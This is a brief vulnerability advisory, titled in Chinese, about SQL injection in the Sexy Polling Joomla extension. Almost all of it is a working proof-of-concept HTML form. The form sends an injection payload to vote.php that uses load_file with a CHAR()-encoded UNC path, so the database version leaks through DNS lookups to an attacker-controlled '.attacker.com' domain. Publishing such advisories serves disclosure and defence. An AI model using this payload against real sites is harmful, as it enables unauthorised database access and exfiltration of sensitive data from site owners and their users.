Sexy Polling Joomla Extension SQL注入漏洞

The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker): <form action="http://[host]/components/com_sexypolling/vote.php" method="post" name="main"> <input type="hidden" name="answer_id[]" value="',(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97 ),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CH AR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))),'','','','','') -- "> <input type="submit" id="btn"> </form>